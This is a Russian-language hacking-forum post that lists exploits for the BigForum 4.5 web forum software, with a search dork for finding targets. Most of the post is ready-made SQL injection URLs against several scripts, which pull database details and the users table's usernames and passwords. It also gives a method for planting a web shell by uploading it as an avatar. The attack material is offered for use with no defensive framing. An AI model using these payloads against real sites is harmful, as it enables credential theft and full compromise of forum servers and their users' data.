Старый 14.07.2010, 09:17   #1
Ctacok
 
Аватар для Ctacok
 
Регистрация: 06.07.2010
Сообщений: 127
Репутация: 49
По умолчанию Уязвимости BigForum

BigForum
Version: 4.5
http://sourceforge.net/projects/npage-bigforum/
Dork:by Bigforum-Team (Version: 4.5 )
SQL Injection:
Цитата:
/misc.php?aktion=adser&id=-1'+union+select+1,2,user(),4,5+--+
Будет редирект на значение 3 поля.
Цитата:
/profil.php?id=-1'+union+select+1,concat_ws(0x3a,id,username,pw),3 ,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,2 2,23,24,25,26,27,28,29+from+users--+
/search.php
В Author / Erstellen
Цитата:
1u%' union select 1,2,3,4,5,6,7,8,9,10,11,12 --
Код:
/?do=show_one&id=-1'+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4+--+
Залитие шелла:
/main.php?do=ava&aktion=send
Выбираем как аватару шелл, и заливаем, /images/avatar/ .
__________________
Twitter - @Ctacok
Ctacok вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot